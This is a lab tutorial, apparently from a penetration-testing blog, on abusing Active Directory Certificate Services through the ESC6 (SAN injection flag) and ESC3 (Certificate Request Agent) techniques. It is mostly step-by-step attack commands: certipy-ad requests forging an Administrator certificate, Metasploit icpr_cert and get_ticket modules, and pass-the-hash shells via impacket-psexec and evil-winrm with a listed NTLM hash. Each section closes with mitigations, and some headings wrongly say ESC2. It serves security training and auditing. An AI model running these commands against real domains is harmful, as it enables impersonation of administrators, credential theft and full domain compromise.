ADCS ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2

The ESC6 attack is a sophisticated privilege escalation technique that targets Active Directory Certificate Services (ADCS). By exploiting misconfigured certificate templates and overly permissive CA settings, attackers can stealthily acquire legitimate certificates to impersonate high-privilege accounts, such as Domain Admins, without resorting to exploits or brute force.

This attack takes advantage of trusted infrastructure, often evading detection, and is enabled by insecure defaults, outdated configurations, and insufficient PKI oversight.

 

Table of Content

·       Overview of the ESC6 Attack

·       EDITF_ATTRIBUTESUBJECTALTNAME2 flag

·       Prerequisites

Enumeration & Exploitation

·       Using Certipy-ad

Post Exploitation

·       Lateral Movement & Privilege Escalation using impacket-psexec

Mitigation

 

Overview of the ESC6 Attack

ESC6 is a privilege escalation attack that exploits misconfigured certificate templates and CA settings to impersonate privileged users using legitimate certificates, bypassing brute-force or zero-day methods.

 

To understand the ESC6 attack, it's important to examine the key components that enable it.

• SAN Injection: ESC6 exploits the SAN request attribute (+EDITF_ATTRIBUTESUBJECTALTNAME2 flag) to add additional hostnames, typically used for webserver certificates.
• CA-Wide Vulnerability: The flag applies globally, making any certificate template open to user enrollment exploitable.
• Impersonating Privileged Users: Attackers can issue certificates with a Domain or Enterprise Admin as an additional UPN, impersonating high-privilege users.
• Unprivileged User Enrollment: Attackers can enroll through open templates (e.g., standard User template) to authenticate as domain administrators or other privileged entities.

 

 

 

EDITF_ATTRIBUTESUBJECTALTNAME2 flag

The EDITF_ATTRIBUTESUBJECTALTNAME2 registry flag modifies CA behavior to allow certificate requesters to manually specify the Subject Alternative Name (SAN) field during enrollment.This includes identities like UPNs (e.g., administrator@ignite.local), DNS names, IPs, and email addresses. When enabled, it lets users inject custom SANs such as privileged UPNs making it a key enabler in ESC6 attacks.

 

In an ESC6 attack, this flag is crucial. When enabled, it lets attackers request certificates with a privileged user's UPN. If combined with a misconfigured template, the CA issues a valid certificate, allowing the attacker to impersonate and authenticate as that user.

 

By default, Active Directory auto-fills SAN fields based on the requester’s identity. With the flag enabled, requesters control the SAN, creating a path for abuse.

 

Note: If any domain user can supply a UPN, they can impersonate any account using a misconfigured certificate template, the core idea of the ESC6 exploit.

 

Prerequisite

·       Windows Server 2019 as Active Directory that supports PKINIT

·       Domain must have Active Directory Certificate Services and Certificate Authority configured.

·       Kali Linux packed with tools

·       Tools: Impacket-psexec, certipy-ad

 

In this guide, we skip the ADCS setup and foundational details covered earlier and dive straight into the ESC6 attack. We'll demonstrate how misconfigured certificate templates, combined with insecure CA settings specifically the EDITF_ATTRIBUTESUBJECTALTNAME2 registry flag that can be exploited by a low-privileged user to inject a privileged UPN into a certificate request.

 

This end-to-end walkthrough shows how these weaknesses can ultimately lead to full domain compromise using legitimate certificates.

 

Let’s walk through a practical scenario where an attacker compromises a low-privileged user account (raj@ignite.local), identifies a misconfigured certificate template (User), and escalates privileges to impersonate the Domain Administrator without ever touching their password.

 

From enabling the SAN injection flag, to crafting a malicious certificate request, and finally authenticating as the Domain Admin, we’ll break down every step using Certipy and Impacket-psexec, and show how this attack unfolds silently within trusted infrastructure.

 

·       Identify Vulnerable Certificate Templates

Our attack begins on the Certificate Authority (CA). By inspecting the published templates, we find that the "User" template is available for issuance:

 

 

Note: The User template is intended for client authentication and is commonly used for features like S/MIME or EFS. However, if misconfigured, it becomes an ideal target for ESC6 exploitation.

 

·       Misconfigure the CA – Enable Subject Alternative Name Injection

To make the "User" template vulnerable to ESC6, modify the CA registry to allow requesters to specify a custom SAN which opens the door for user impersonation through crafted certificate requests

On the CA, run the following commands:

net stop certsvc

This Stops the Certificate Services (certsvc) to safely modify registry settings.

certutil -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

This enables the flag, allowing custom SAN injections and exposing the CA to the ESC6 attack.

Note: ESC6 attacks thrive on misconfigurations, disable the EDITF_ATTRIBUTESUBJECTALTNAME2 flag using certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 to block custom SAN injection and mitigate the risk.

net start certsvc

This restarts Certificate Services to apply the changes.

In short, the process stops the service, modifies the registry to enable the vulnerability, and then restarts the service to apply the changes.

 

Effect: Users can now impersonate any account by specifying a custom UPN (e.g., administrator@ignite.local) in their certificate request.

 

Enumeration & Exploitation

Using Certipy-ad

Certipy-AD is a tool used to enumerate and exploit misconfigurations in ADCS, making it especially effective for automating ESC6 attacks involving forged certificates and privilege escalation.

 

·       Request a Malicious Certificate as a Low-Privilege User

With the template vulnerable, the attacker (user raj) requests a certificate claiming to be the Domain Admin:

 

certipy-ad req -u raj@ignite.local -p Password@1 -target 192.168.1.48 -ca ignite-DC-CA- -template User -upn administrator@ignite.local -dc-ip 192.168.1.48

This generates a .pfx certificate file that authenticates as administrator.

 

·       Authenticate as Domain Admin Using the Certificate

Now that we have a valid certificate for administrator, we can use Certipy to authenticate and gain access as Domain Admin:

 

Certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.48

This dumps the NTLM hashes in the session, allowing us to authenticate as the targeted user.

 

Post Exploitation

 

·       Lateral Movement & Privilege Escalation using impacket-psexec

Use Impacket's psexec to spawn a SYSTEM shell on remote machines via SMB.

 

Run the command

impacket-psexec ignite.local/administrator@ignite.local -hashes :32196b56ffe6f45e294117b91a83bf38

 

Mitigation

·       Disable EDITF_ATTRIBUTESUBJECTALTNAME2 unless strictly necessary.

·       Restrict enrollment rights on certificate templates.

·       Monitor cert requests with abnormal SAN/UPN values.

·       Use tools like Certipy to audit ADCS.

AD CS ESC5 - Vulnerable PKI Object Access Control

 

ADCS ESC4

 

AD CS ESC3: Enrollment Agent Template

Introduction

Active Directory Certificate Services (ADCS) is commonly targeted in ESC3 certificate attacks, which exploit misconfigurations in certificate templates to enable serious vulnerabilities such as ADCS certificate attacks and privilege escalation. ESC3, in particular, poses a significant threat when combined with a misconfigured Certificate Request Agent (CRA) template. This flaw allows attackers to request certificates for high-privileged users, like domain admins, giving them unauthorized access and opening the door for further exploitation.

In PART 2 of this ADCS series, we covered an overview of Active Directory Certificate Services and demonstrated the ESC2 escalation technique. In this post, we'll dive into ESC3 an escalation method that exploits a misconfigured Certificate Request Agent EKU, also known as the "Enrollment Agent," allowing a user to request a certificate on behalf of another user, such as a Domain Admin.

 

Table of Content

What is ESC3?

ADCS and Certificate Templates Risks

Certificate Request Agent EKU

Prerequisites

Lab Setup

Enumeration and exploitation

·       ESC3 Attack Using Certipy

·       ESC3 Attack Using Metasploit

Post Exploitation

·       Lateral Movement & Privilege Escalation using impacket-psexec

·       Lateral Movement & Privilege Escalation using Evil-Winrm

Mitigation

 

What is ESC3?

ESC3 using Certificate Request Agent allows designated users to request certificates on behalf of other users, computers, or services within an enterprise Public Key Infrastructure (PKI) environment. This is commonly used in scenarios where end-users cannot request certificates themselves due to lack of access or permissions.

Requirements to Make ESC3 Attack Possible:

·       Certificate template allows "enrollment on behalf of"

·       Attacker has a valid Certificate Request Agent certificate

·       Attacker has Enroll permissions on a vulnerable certificate template

·        No strong restrictions on who can be impersonated

·        Overly broad assignment of Certificate Request Agent role

 

ADCS and Certificate Templates Risks

Active Directory Certificate Services (ADCS) and certificate templates pose significant risks if misconfigured, potentially enabling privilege escalation, lateral movement, or full domain compromise. Certificate attacks like ESC3 allow attackers to modify templates to issue certificates for privileged impersonation, effectively bypassing authentication and enabling stealthy, persistent access.

 

ADCS issues certificates in Active Directory using templates that define permissions and usage. Poorly secured templates are prime targets for attacks like

ESC1 (abusing dangerous permissions like ENROLL and Client Authentication),

ESC2 (exploiting misconfigured issuance policies), and

ESC3 (using Certificate Request Agent template to impersonate privileged accounts).

If not tightly controlled, ADCS can become a powerful tool for lateral movement and privilege escalation in a domain.

The vulnerability conditions for ESC1, ESC2, and ESC3 certificate templates are as follows

In the case of ESC3, we will walk through how an attacker can abuse a misconfigured Certificate Request Agent template to request certificates on behalf of privileged users, enabling impersonation and unauthorized access through certificate-based authentication.

 

Certificate Request Agent EKU

A Certificate Request Agent is a delegated user or service that is authorized to request digital certificates on behalf of other users or devices in an Active Directory environment, typically through a special certificate template.

In Active Directory Certificate Services (ADCS), a Certificate Request Agent is a trusted account (typically a user or service account) that is authorized to request certificates on behalf of other users or computers.

This is part of a delegated enrollment model, often used in environments where:

• End-users can't request their own certificates (e.g., smartcards)
• A centralized system or helpdesk issues certificates for users
• Automation systems handle identity provisioning

How it works

Note: Extended Key Usage (EKU) is a certificate field that specifies its intended purposes like email encryption, user authentication, or secure web access each represented by a unique Object Identifier (OID).

 

The Security Risk, When Misused:

The Certificate Request Agent EKU, though useful for delegated enrollment, poses a serious security threat if the certificate template includes it without requiring approval, is accessible to non-privileged users, and lacks restrictions on which identities can be impersonated.

 

Prerequisite

·       Windows Server 2019 as Active Directory that supports PKINIT

·       Domain must have Active Directory Certificate Services and Certificate Authority configured.

·       Kali Linux packed with tools

·       Tools: Evil-winrm, Impacket, certipy-ad, Metasploit

 

Lab setup

Starting by launching the Certificate Template Console:

Run certtmpl.msc on the Domain Controller, then navigate to Certificate Templates → Manage.

Step 1: Duplicate the “Certificate Template” Template

1. Scroll down and find the “Code Signing” template.
2. Right-click it → Click Duplicate Template.

Step 2: Configure the New Template

A new window will appear with multiple tabs, go through them one by one.

General Tab:

1. Set the Template display name to: ESC3
2. (Optional) Adjust the Validity Period — the default of 1 year is typically sufficient.

This name will show up when requesting the certificate

Configure the Subject Name Tab:

1. Select:

Build from this Active Directory information

This setting prevents attackers from supplying their own identity (e.g., CN=Administrator)

Configure the Security Tab

1. Click Add → Type Domain Users → Click OK
2. Select Domain Users
3. Check →  Enroll

Configure the Extensions Tab

1. Go to the Extensions tab
2. Select Application Policies → Click Edit

Inside the Edit Window:

3. Select: Code Signing → Click Remove

4. Click Add and then Select Certificate request Agent

And Click OK

Confirm Issuance Requirements

Go back to the Certificate Authority (certsrv.msc) window. Right-click Certificate Templates → Click New → Certificate Template to Issue.

 

Find Vulnerable Template in the list and select it, in our case we created it as ESC3.

Click OK to publish it

Save the Template

1. Click OK to save and close

We can see our template is now created!

Enumeration & Exploitation

ESC2 Attack Using Certipy

1.     Enumeration for Vulnerable Templates

Use Certipy from the attacker machine to enumerate AD CS configuration and vulnerable templates, specifying raj as the user in this case.

Let’s fire the command

certipy-ad find -u 'raj@ignite.local' -p Password@1 -dc-ip 192.168.1.48 -vulnerable -enabled

Identify a certificate template that contains the Certificate Request Agent EKU, allows on-behalf-of enrollment, and is vulnerable to ESC3 exploitation in the file saved as 20250112131824_Certipy.txt

Use your preferred text editor to view the saved file in this case, we're using cat to read its contents.

2.     Request a Certificate as Administrator

Use the vulnerable template to request a certificate for your own user (eg, raj)

certipy-ad req -u 'raj@ignite.local' -p 'Password@1' -dc-ip 192.168.1.48 -ca ignite-DC-CA -target 'dc.ignite.local' -template 'ESC3'

If successful, Certipy generates and saves a .pfx certificate file in our case, it's raj.pfx!

We're directing Certipy to log in as raj, use the 'User' certificate template to request a cert on behalf of Administrator, and save the resulting certificate as raj.pfx.

certipy-ad req -u ‘raj@ignite.local’ -p 'Password@1' -dc-ip 192.168.1.48 -ca ignite-DC-CA -target ‘dc.ignite.local’ -template 'User' -on-behalf-of administrator -pfx raj.pfx

If successful, this results in a valid certificate for Administrator without needing their credentials.

Note: The -on-behalf-of administrator flag is the key impersonation step, it tells the CA to issue a certificate for Administrator instead of the requesting user.

3.     Use the Certificate

Once authenticated as Administrator, you can proceed to dump NTLM hashes from the Domain Controller.

To achieve, fire the command as

certipy-ad auth -pfx administrator.pfx

Post Exploitation

4.     Lateral Movement & Privilege Escalation

After that, perform lateral movement using Pass-the-Hash (PTH) attacks.

For this, use the powerful Impacket toolkit with a command like:

impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e294117b91a83bf38 administrator@192.168.1.48

This allows you to access resources on other systems without needing the actual password just the hash.

ESC2 Attack Using Metasploit

Use Metasploit’s LDAP module to find vulnerable AD CS templates (like ESC3); if impersonation is possible, exploit it using the icpr_cert module, which requests a certificate via RPC and saves a .pfx file for future authentication.

In this case, the AD CS server issued a cert for raj@ignite.local, saved as a .pfx at /root/.msf4/loot/..., ready for PKINIT-based auth.

Load the Certificate Request Module

use auxiliary/admin/dcerpc/icpr_cert

Set the Target and Parameters

set RHOSTS 192.168.1.48

set CA ignite-DC-CA

set CERT_TEMPLATE ESC3

set SMBDomain ignite.local

set SMBPass Password@1

set SMBUser raj

run

We can verify that the .pfx file is valid and stored locally and it can now be used to authenticate as raj or impersonate another user, depending on the template’s permissions.

In this case, we listed the loot directory and renamed the obtained certificate to administrator.pfx for clarity

We can reuse the Metasploit module admin/dcerpc/icpr_cert to impersonate the Administrator account and obtain a valid .pfx certificate issued in their name.

By setting ON_BEHALF_OF, a low-privileged user can request a certificate on behalf of another user in this case, Administrator.

Note: It works only if the certificate template allows it (SubjectAltName from requester & no Manager Approval or ENROLLEE_SUPPLIES_SUBJECT restrictions).

We selected the 'User' certificate template, which is likely enrollable by the current user.

Load the Certificate Request Module

use auxiliary/admin/dcerpc/icpr_cert

set ON_BEHALF_OF Administrator

set PFX /root/.msf4/loot/administrator

set CERT_TEMPLATE User

run

We successfully obtained a certificate as Administrator, confirming the template's vulnerability to ESC3, and the resulting .pfx file now serves as Administrator’s private key and certificate, enabling Kerberos authentication as that user using Certipy or similar tools.

In this case, we use the .pfx file to authenticate as Administrator and obtain a Kerberos TGT via a Metasploit module which can later be used for Pass-the-Ticket (PTT) attacks..

Launch Metasploit: msfconsole

Load the Module:

use auxiliary/admin/kerberos/get_ticket

set action GET_HASH

set cert_file /root/.msf4/loot/20250112133551_default_192.168.1.48_windows.ad.cs_685006.pfx

set rhosts 192.168.1.48

run

If successful, NTLM hash is dumped

Post Exploitation

Lateral Movement & Privilege Escalation using Evil-Winrm

Use Evil-WinRM to get a shell as Administrator via certificate-based authentication.
Launch it with the following command:

evil-winrm -i 192.168.1.48 -u administrator -H 32196b56ffe6f45e294117b91a83bf38

4. Mitigation

• Restrict Certificate Request Agent EKU Usage → Only assign to dedicated agent templates used by trusted PKI personnel
• Require Certificate Manager Approval → Ensure all templates with the Agent EKU need manual approval before certificate issuance
• Limit Enrollment Permissions → Grant Enroll/Autoenroll rights only to trusted users/groups, not to Domain Users
• Audit Existing Templates for EKU Risk → Use toolslike  Certipy to identify templates with 1.3.6.1.4.1.311.20.2.1
• Monitor for Abuse & Impersonation → Log and alert on Event IDs 4886 (request) and 4887 (issued); flag on-behalf-of activity
• Harden CA Infrastructure → Remove unused roles (e.g., Web Enrollment), apply patches, and isolate CA servers with strong ACLs and network controls